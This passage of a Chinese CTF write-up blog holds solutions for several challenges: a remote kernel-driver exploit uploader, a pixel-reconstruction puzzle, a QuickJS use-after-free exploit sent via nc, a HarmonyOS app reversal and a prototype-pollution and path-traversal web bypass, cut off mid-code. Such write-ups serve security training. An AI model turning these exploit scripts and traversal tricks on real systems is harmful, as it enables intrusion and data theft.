class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">HOST = <span class="string">&quot;123.56.126.77&quot;</span></span><br><span class="line">PORT = <span class="number">1017</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recv_some</span>(<span class="params">sock: socket.socket, seconds: <span class="built_in">float</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    end = time.time() + seconds</span><br><span class="line">    chunks = []</span><br><span class="line">    <span class="keyword">while</span> time.time() &lt; end:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            data = sock.recv(<span class="number">4096</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            chunks.append(data)</span><br><span class="line">        <span class="keyword">except</span> TimeoutError:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">        time.sleep(<span class="number">0.05</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">b&quot;&quot;</span>.join(chunks)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">recv_until_ready</span>(<span class="params">sock: socket.socket, seconds: <span class="built_in">float</span></span>) -&gt; <span class="built_in">str</span>:</span><br><span class="line">    end = time.time() + seconds</span><br><span class="line">    chunks = []</span><br><span class="line">    <span class="keyword">while</span> time.time() &lt; end:</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            data = sock.recv(<span class="number">4096</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="keyword">not</span> data:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            chunks.append(data)</span><br><span class="line">            text = <span class="string">b&quot;&quot;</span>.join(chunks).decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>)</span><br><span class="line">            <span class="keyword">if</span> <span class="string">&quot;Kernel panic&quot;</span> <span class="keyword">in</span> text <span class="keyword">or</span> <span class="string">&quot;ctf$ &quot;</span> <span class="keyword">in</span> text:</span><br><span class="line">                <span class="keyword">return</span> text</span><br><span class="line">        <span class="keyword">except</span> TimeoutError:</span><br><span class="line">            <span class="keyword">pass</span></span><br><span class="line">        time.sleep(<span class="number">0.05</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">b&quot;&quot;</span>.join(chunks).decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_line</span>(<span class="params">sock: socket.socket, line: <span class="built_in">str</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    sock.sendall(line.encode() + <span class="string">b&quot;\r&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>() -&gt; <span class="literal">None</span>:</span><br><span class="line">    b64 = Path(__file__).with_name(<span class="string">&quot;exp.b64&quot;</span>).read_text(encoding=<span class="string">&quot;ascii&quot;</span>).strip()</span><br><span class="line">    <span class="keyword">with</span> socket.create_connection((HOST, PORT), timeout=<span class="number">10</span>) <span class="keyword">as</span> sock:</span><br><span class="line">        sock.settimeout(<span class="number">0.2</span>)</span><br><span class="line">        send_line(sock, <span class="string">&quot;&quot;</span>)</span><br><span class="line"></span><br><span class="line">        boot = recv_until_ready(sock, <span class="number">20</span>)</span><br><span class="line">        sys.stdout.write(boot)</span><br><span class="line">        sys.stdout.flush()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;Kernel panic&quot;</span> <span class="keyword">in</span> boot:</span><br><span class="line">            <span class="keyword">raise</span> SystemExit(<span class="string">&quot;remote kernel panicked before userspace came up&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;ctf$ &quot;</span> <span class="keyword">not</span> <span class="keyword">in</span> boot:</span><br><span class="line">            <span class="keyword">raise</span> SystemExit(<span class="string">&quot;remote did not reach the shell prompt in time&quot;</span>)</span><br><span class="line"></span><br><span class="line">        payload = [</span><br><span class="line">            <span class="string">f&quot;printf &#x27;%s&#x27; &#x27;<span class="subst">&#123;b64&#125;</span>&#x27; | /bin/b64dec &gt;/tmp/exp&quot;</span>,</span><br><span class="line">            <span class="string">&quot;/bin/chmod +x /tmp/exp&quot;</span>,</span><br><span class="line">            <span class="string">&quot;/tmp/exp&quot;</span>,</span><br><span class="line">        ]</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> line <span class="keyword">in</span> payload:</span><br><span class="line">            send_line(sock, line)</span><br><span class="line">            time.sleep(<span class="number">0.03</span>)</span><br><span class="line"></span><br><span class="line">        out = recv_some(sock, <span class="number">5</span>).decode(<span class="string">&quot;latin1&quot;</span>, <span class="string">&quot;ignore&quot;</span>)</span><br><span class="line">        sys.stdout.write(out)</span><br><span class="line">        sys.stdout.flush()</span><br><span class="line"></span><br><span class="line">        <span class="keyword">match</span> = re.search(<span class="string">r&quot;(flag|SDPC)\&#123;[^&#125;\r\n]+\&#125;&quot;</span>, out)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">match</span>:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n[flag] <span class="subst">&#123;<span class="keyword">match</span>.group(<span class="number">0</span>)&#125;</span>&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure><p>所以这题真正的利用动作不是“交互里试 ioctl”，而是本地造一个只干驱动读写的极小 ELF，再让远端一次性把 <code>g_blob</code> 的 <code>0x80</code> 字节全部带回来。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;DTMMWJIeBze6KugjH8zkslz2&#125;</span><br></pre></td></tr></table></figure><h2 id="鲨士比亚王国的金融危机"><a href="#鲨士比亚王国的金融危机" class="headerlink" title="鲨士比亚王国的金融危机"></a>鲨士比亚王国的金融危机</h2><ul><li>类型：Misc</li><li>得分：291</li><li>时间：06&#x2F;06 13:18:29</li></ul><p>这题真正的突破点不在 OCR，也不在图像增强，而是在先把两张图的“像素数量关系”看明白。把附件里的 <code>SCB.png</code> 和 <code>flag.png</code> 放在一起观察以后，很快能发现一个非常硬的对应关系：</p><ul><li><code>SCB.png</code> 里纯白色区域的像素总数</li><li>恰好等于 <code>flag.png</code> 的总像素数</li></ul><p>这说明 <code>flag.png</code> 根本不是拿来直接看的，而是一个像素池；<code>SCB.png</code> 也不是成品，而是一张等待回填的底图。题面提示里提到“像素漩涡”，这一步就把读出顺序也点明了: <code>flag.png</code> 需要按螺旋顺序取像素，而不是按普通行列顺序读取。</p><p>所以这题实际只做三件事：</p><ol><li>找出 <code>SCB.png</code> 中所有白色像素位置；</li><li>按螺旋顺序读取 <code>flag.png</code> 的全部像素；</li><li>把读出来的像素依次填回 <code>SCB.png</code> 的白色区域。</li></ol><p>这里最重要的判断就是第一步的数量校验。只要白色位数量和 <code>flag.png</code> 总像素数完全一致，后面的回填方向就基本不会错；如果数量对不上，那说明读图方式或者目标区域判断有问题，没必要往后做。</p><p>这题直接写脚本做最省事，核心逻辑如下：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> PIL <span class="keyword">import</span> Image</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">spiral_coords</span>(<span class="params">w, h</span>):</span><br><span class="line">    left, right = <span class="number">0</span>, w - <span class="number">1</span></span><br><span class="line">    top, bottom = <span class="number">0</span>, h - <span class="number">1</span></span><br><span class="line">    <span class="keyword">while</span> left &lt;= right <span class="keyword">and</span> top &lt;= bottom:</span><br><span class="line">        <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(left, right + <span class="number">1</span>):</span><br><span class="line">            <span class="keyword">yield</span> x, top</span><br><span class="line">        top += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> y <span class="keyword">in</span> <span class="built_in">range</span>(top, bottom + <span class="number">1</span>):</span><br><span class="line">            <span class="keyword">yield</span> right, y</span><br><span class="line">        right -= <span class="number">1</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> top &lt;= bottom:</span><br><span class="line">            <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(right, left - <span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">                <span class="keyword">yield</span> x, bottom</span><br><span class="line">            bottom -= <span class="number">1</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> left &lt;= right:</span><br><span class="line">            <span class="keyword">for</span> y <span class="keyword">in</span> <span class="built_in">range</span>(bottom, top - <span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">                <span class="keyword">yield</span> left, y</span><br><span class="line">            left += <span class="number">1</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">scb = Image.<span class="built_in">open</span>(<span class="string">&quot;SCB.png&quot;</span>).convert(<span class="string">&quot;RGBA&quot;</span>)</span><br><span class="line">flag = Image.<span class="built_in">open</span>(<span class="string">&quot;flag.png&quot;</span>).convert(<span class="string">&quot;RGBA&quot;</span>)</span><br><span class="line"></span><br><span class="line">fw, fh = flag.size</span><br><span class="line">sw, sh = scb.size</span><br><span class="line"></span><br><span class="line">spiral_pixels = [flag.getpixel((x, y)) <span class="keyword">for</span> x, y <span class="keyword">in</span> spiral_coords(fw, fh)]</span><br><span class="line">white_positions = []</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> y <span class="keyword">in</span> <span class="built_in">range</span>(sh):</span><br><span class="line">    <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(sw):</span><br><span class="line">        <span class="keyword">if</span> scb.getpixel((x, y))[:<span class="number">3</span>] == (<span class="number">255</span>, <span class="number">255</span>, <span class="number">255</span>):</span><br><span class="line">            white_positions.append((x, y))</span><br><span class="line"></span><br><span class="line"><span class="keyword">assert</span> <span class="built_in">len</span>(white_positions) == <span class="built_in">len</span>(spiral_pixels)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (x, y), px <span class="keyword">in</span> <span class="built_in">zip</span>(white_positions, spiral_pixels):</span><br><span class="line">    scb.putpixel((x, y), px)</span><br><span class="line"></span><br><span class="line">scb.save(<span class="string">&quot;scb_restored.png&quot;</span>)</span><br></pre></td></tr></table></figure><p>这段脚本里真正不能错的只有两处：</p><ul><li><code>spiral_coords()</code> 必须按标准螺旋顺序遍历 <code>flag.png</code></li><li>白色位统计和 <code>flag.png</code> 总像素数必须严格相等</li></ul><p>脚本跑完以后，<code>scb_restored.png</code> 就不再是一张残图，而会变成一张可以直接读字的结果图。做到这里基本已经结束了，因为恢复后的画面里能直接看出最后的答案，不需要再做额外解码。</p><p>整题的还原路径很直白：</p><ol><li>用白色像素数量锁定“回填”思路；</li><li>用“像素漩涡”锁定 <code>flag.png</code> 的读取顺序；</li><li>用脚本把螺旋读出的像素灌回 <code>SCB.png</code>；</li><li>打开恢复后的图，直接读出 flag。</li></ol><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;You_saved_SCB_by_the_coin&#125;</span><br></pre></td></tr></table></figure><h2 id="pwner-LEVEL9"><a href="#pwner-LEVEL9" class="headerlink" title="pwner_LEVEL9"></a>pwner_LEVEL9</h2><ul><li>类型：Pwn</li><li>得分：172</li><li>时间：06&#x2F;06 13:09:05</li></ul><p>这题表面上挂着个 <code>qjs</code>，但实际是 QuickJS 题目补丁里故意塞了一个很直白的 UAF 接口。拿到附件后先看 <code>quickjs-libc.c.patched</code>，关键变量几乎都写在一起：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">uint8_t</span> *js_uaf_dangling_ptr;</span><br><span class="line"><span class="type">static</span> <span class="type">size_t</span> js_uaf_dangling_size;</span><br><span class="line"><span class="type">static</span> <span class="type">uint8_t</span> *js_uaf_flag_chunk;</span><br></pre></td></tr></table></figure><p>后面几段逻辑也很直接：</p><ol><li><code>uaf.prepare()</code> 里会创建一个 <code>ArrayBuffer</code>，拿到它的底层指针和长度；</li><li>然后故意把这个 <code>ArrayBuffer</code> 释放掉，但把 <code>js_uaf_dangling_ptr</code> 留下来；</li><li><code>uaf.plant()</code> 再按同样大小 <code>js_mallocz(ctx, js_uaf_dangling_size)</code> 申请一块新内存；</li><li>直接 <code>flag = getenv(&quot;FLAG_VALUE&quot;)</code>，再 <code>memcpy(js_uaf_flag_chunk, flag, copy_len)</code>；</li><li><code>uaf.read(n)</code> 则把 <code>js_uaf_dangling_ptr</code> 指向的内容按字符串直接返回。</li></ol><p>补丁里把挑战参数写得非常死，几乎不用猜：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">define</span> JS_UAF_CHUNK_SIZE 0x80</span></span><br><span class="line"><span class="type">static</span> <span class="type">const</span> <span class="type">char</span> fallback_flag[] = <span class="string">&quot;PCTF&#123;!!!!_FLAG_ERROR_ASK_ADMIN_!!!!&#125;&quot;</span>;</span><br></pre></td></tr></table></figure><p>而 <code>uaf.plant()</code> 里最关键的几行就是：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">js_uaf_flag_chunk = js_mallocz(ctx, js_uaf_dangling_size);</span><br><span class="line">flag = getenv(<span class="string">&quot;FLAG_VALUE&quot;</span>);</span><br><span class="line"><span class="keyword">if</span> (!flag || !*flag)</span><br><span class="line">    flag = fallback_flag;</span><br><span class="line"></span><br><span class="line">copy_len = flag_len;</span><br><span class="line"><span class="keyword">if</span> (copy_len &gt;= js_uaf_dangling_size)</span><br><span class="line">    copy_len = js_uaf_dangling_size - <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">memcpy</span>(js_uaf_flag_chunk, flag, copy_len);</span><br><span class="line">JS_SetPropertyStr(ctx, info, <span class="string">&quot;reused&quot;</span>,</span><br><span class="line">                  JS_NewBool(ctx, js_uaf_flag_chunk == js_uaf_dangling_ptr));</span><br></pre></td></tr></table></figure><p>这几行直接把命中条件和观测点都交代清楚了：</p><ul><li>chunk 大小固定就是 <code>0x80</code></li><li>真 flag 来自环境变量 <code>FLAG_VALUE</code></li><li>如果环境变量没拿到，只会落到那个 <code>PCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}</code> 假值</li><li><code>info.reused</code> 就是判断复用是否成功的硬指标</li></ul><p>所以这题本质不是“构造复杂堆风水”，而是故意给你一条完整的送分链：</p><ul><li>先造悬空指针；</li><li>再用同尺寸重新申请；</li><li>然后把 flag 拷进这个复用块；</li><li>最后从悬空指针把内容读回来。</li></ul><p><code>uaf.plant()</code> 甚至还会把复用状态回显出来，等于额外送了一个观测点。只要 <code>reused</code> 为真，就说明第二次分配真的吃回了第一次释放的块。</p><p>最后跑通远程的 <code>exploit.js</code> 就是这四句：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">print</span>(uaf.<span class="title function_">prepare</span>())</span><br><span class="line"><span class="keyword">let</span> info = uaf.<span class="title function_">plant</span>()</span><br><span class="line"><span class="title function_">print</span>(<span class="title class_">JSON</span>.<span class="title function_">stringify</span>(info))</span><br><span class="line"><span class="title function_">print</span>(uaf.<span class="title function_">read</span>(<span class="number">0x80</span>))</span><br></pre></td></tr></table></figure><p>这四行分别做的是：</p><ol><li><code>uaf.prepare()</code>：制造 <code>0x80</code> 大小的悬空块；</li><li><code>uaf.plant()</code>：把 <code>FLAG_VALUE</code> 拷进新申请的同尺寸 chunk，同时返回复用信息；</li><li><code>JSON.stringify(info)</code>：确认 <code>reused</code>、<code>size</code> 这些关键字段；</li><li><code>uaf.read(0x80)</code>：直接把悬空指针指向的数据按字符串读出来。</li></ol><p>远程本身也没有多余交互，服务端会执行你发过去的整份 JS，再把输出吐回来，所以提交方式其实就是：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> exploit.js | nc 123.56.126.77 1015</span><br></pre></td></tr></table></figure><p>因为尺寸完全一致，这里不需要任意地址写，也不需要伪造对象结构；命中条件只有一个，就是第二次分配正好原地复用第一次释放的块。一旦复用成立，flag 就会以明文直接出现在 <code>uaf.read(0x80)</code> 的输出里。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SDPC&#123;LQCuUCZr0x8PgNJtvFQlcMRd&#125;</span><br></pre></td></tr></table></figure><h2 id="遥遥领先"><a href="#遥遥领先" class="headerlink" title="遥遥领先"></a>遥遥领先</h2><ul><li>类型：Reverse</li><li>得分：395</li><li>时间：06&#x2F;06 12:47:50</li></ul><p>这题是 HarmonyOS <code>.hap</code> 逆向，而且不是单边校验。难点在于 ArkTS 字节码和 <code>libentry.so</code> 会一起参与最终解密，少跟一边都会断链。</p><p>起手先解包 <code>.hap</code>，直接盯两个核心文件：</p><ul><li><code>ets/modules.abc</code></li><li><code>libs/arm64-v8a/libentry.so</code></li></ul><p>ArkTS 这一边先恢复常量和业务链。<code>modules.abc</code> 里真正有用的是 <code>DatabaseUtil</code>、<code>LocalStore</code>、<code>CTFBridge</code>、<code>FlagUtil</code> 这几个类，对应的解混淆逻辑可以写成：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">e1</span>(<span class="params">dust: <span class="built_in">bytes</span>, mask: <span class="built_in">bytes</span>, bias: <span class="built_in">int</span></span>) -&gt; <span class="built_in">bytes</span>:</span><br><span class="line">    out = <span class="built_in">bytearray</span>()</span><br><span class="line">    <span class="keyword">for</span> i, v <span class="keyword">in</span> <span class="built_in">enumerate</span>(dust):</span><br><span class="line">        x = (v - ((bias + <span class="number">9</span> * i) &amp; <span class="number">0xff</span>)) &amp; <span class="number">0xff</span></span><br><span class="line">        x ^= mask[i % <span class="built_in">len</span>(mask)]</span><br><span class="line">        out.append(x)</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">bytes</span>(out)</span><br></pre></td></tr></table></figure><p>顺着这条链把字符串都抠出来之后，先拿到三组最关键常量：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">admin = admin</span><br><span class="line">salt = hmos_ctf_2026</span><br><span class="line">token_tag = HMOS_CTF_2026</span><br><span class="line">folds = [&#x27;bridge-open&#x27;, &#x27;native-layer&#x27;, &#x27;arkts-stage&#x27;]</span><br></pre></td></tr></table></figure><p>然后转去 native 层。<code>libentry.so</code> 里有个 <code>getPasswordTail()</code>，它给的是管理员密码哈希后半段。这里拿到的值是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">7385bf26bc105ca633cfe2d60bc72c08</span><br></pre></td></tr></table></figure><p>和 ArkTS 里前半段拼起来，完整 <code>admin</code> 哈希就是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1310bf3a2891994baeb95961958bae7c7385bf26bc105ca633cfe2d60bc72c08</span><br></pre></td></tr></table></figure><p>接下来开始算 token。这一步是整个链条里第一个硬校验点，直接按逻辑写：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> sha256</span><br><span class="line"></span><br><span class="line">password_hash = <span class="string">&quot;1310bf3a2891994baeb95961958bae7c7385bf26bc105ca633cfe2d60bc72c08&quot;</span></span><br><span class="line">token = sha256((<span class="string">&quot;admin&quot;</span> + password_hash + <span class="string">&quot;hmos_ctf_2026&quot;</span>).encode()).hexdigest()</span><br><span class="line"><span class="built_in">print</span>(token)</span><br></pre></td></tr></table></figure><p>输出必须是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">8f23ca2211187b27c9b93450be8b5a83253379789fa16946e65fe68f7a057f70</span><br></pre></td></tr></table></figure><p>有了 token 以后，再顺 ArkTS 的 <code>Home.reloadSecret()</code> 走。这里会调用 <code>CTFBridge.buildBridgeVector(&quot;bridge-sync&quot;, true, &quot;admin&quot;)</code>，随后进入 <code>FlagUtil.decryptLocalSecret(token, proof)</code>。这一步最坑的是 ArkTS 字节码里二元操作方向容易看反，尤其是字符串切片和拼接顺序；一旦方向看反，proof 和 seed 都会全错。</p><p>继续可恢复出正确 <code>proof</code>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">21350f1aeae99ed1faea899a3e2f1f0e615945e1a692caa5aa809e6c79004d360e12fea2d880</span><br></pre></td></tr></table></figure><p><code>buildCheckSeed()</code> 的逻辑则可以整理成：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">prefix = sha256((token + <span class="string">&quot;|admin|HMOS_CTF_2026&quot;</span> + proof[:<span class="number">20</span>]).encode()).hexdigest()</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">3</span>):</span><br><span class="line">    prefix = sha256(</span><br><span class="line">        (prefix[<span class="number">8</span>*i:<span class="number">8</span>*i+<span class="number">24</span>] + folds[i] + proof[<span class="number">10</span>*i:<span class="number">10</span>*i+<span class="number">10</span>] + prefix[<span class="number">24</span>:]).encode()</span><br><span class="line">    ).hexdigest()</span><br><span class="line">seed = prefix[:<span class="number">48</span>]</span><br></pre></td></tr></table></figure><p>最后算出来的 <code>seed</code> 为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">8dd108c1c4e6a0b7b28feb6046be8bef3b4726be69f4c3e6</span><br></pre></td></tr></table></figure><p>接下来 native check 不是静态就能看完的，这里直接用 Unicorn 去模拟 <code>libentry.so</code> 的校验函数，把 <code>seed</code> 和 <code>proof</code> 喂进去，拿到返回值 <code>ok_hex</code>：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">611a6f297798be96efd4f19c32357f24792a27b2b8c196e4dbc2490f4420744debbdc6b6bcc4</span><br></pre></td></tr></table></figure><p>最后一层 <code>FlagUtil.o2()</code> 就是按异或链把本地密文逆回来，核心关系是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">plain[i] = cipher[i] ^ ok_hex[i] ^ seed[i] ^ proof[i] ^ q2[i] ^ ((19*i + 35) &amp; 0xff)</span><br></pre></td></tr></table></figure><p>所以这题不是“最后看到了一个字符串像 flag”，而是整条链每一段都有固定中间值能复核：<code>token</code>、<code>proof</code>、<code>seed</code>、<code>ok_hex</code> 全对上，最后自然落到 flag。</p><p>Flag：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">flag&#123;H0ng_Men9_nixiang_yidiandoubunan&#125;</span><br></pre></td></tr></table></figure><h2 id="ezlog"><a href="#ezlog" class="headerlink" title="ezlog"></a>ezlog</h2><ul><li>类型：Web</li><li>得分：446</li><li>时间：06&#x2F;06 11:32:35</li></ul><p>这题的利用链很短，但每一步都挺典型。<br>问题点一是原型链污染式的认证绕过：服务端把 <code>ADMIN_NONCE</code> 提前挂在 <code>Object.prototype.nonce</code> 上，所以请求体里只传 <code>{&quot;name&quot;:&quot;CTF-ADMIN&quot;}</code> 而不传 <code>nonce</code>，<code>req.body.nonce</code> 仍然会从原型链上读到正确值，直接通过管理员校验。</p><p>问题点二是 <code>file</code> 参数既被拿来做 allowlist 检查，又被拿来做路径拼接，但代码默认它是字符串。<br>把同名参数重复提交后，<code>file</code> 实际会变成数组，于是：</p><ol><li>字符串检查被绕过；</li><li><code>.log</code> 限制被绕过；</li><li><code>file.length &gt; 10</code> 触发截断后，真正有用的路径片段会被保留；</li><li>最终 <code>path.resolve(&#39;./&#39; + file)</code> 归一化到 <code>/flag</code>。</li></ol><p>这一段如果只用文字说，读起来还是有点跳，所以可以把它按服务端会发生的事情复原成一个最小片段。重复参数进来以后，<code>file</code> 的形态大致就是：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">[</span><br><span class="line">  <span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,</span><br><span class="line">  <span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,</span><br><span class="line">  <span class="string">&quot;/../../flag&quot;</span>,<span class="string">&quot;.&quot;</span>,<span class="string">&quot;log&quot;</span></span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>接下来关键不是数组本身，而是它在 JavaScript 里被拿去跟字符串拼接。数组一旦参与字符串运算，会先走 <code>Array.prototype.toString()</code>，于是：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> file = [</span><br><span class="line">  <span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,</span><br><span class="line">  <span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,<span class="string">&quot;a&quot;</span>,</span><br><span class="line">  <span class="string">&quot;/../../flag&quot;</span>,<span class="string">&quot;.&quot;</span>,<span class="string">&quot;log&quot;</span></span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="title class_">String</span>(file));</span><br><span class="line"><span class="comment">// a,a,a,a,a,a,a,a,a,/../../flag,.,log</span></span><br><span class="line"></span><br><span class="line"><span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;./&quot;</span> + file);</span><br><span class="line"><span class="comment">// ./a,a,a,a,a,a,a,a,a,/../../flag,.,log</span></span><br></pre></td></tr></table></figure><p>也就是说，服务端以为自己在处理一个“文件名字符串”，实际上拼出来的是一串带逗号的整体路径。再配合长度截断和 <code>path.resolve()</code>，前面的填充项只是为了占位，真正有用的是后半截：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 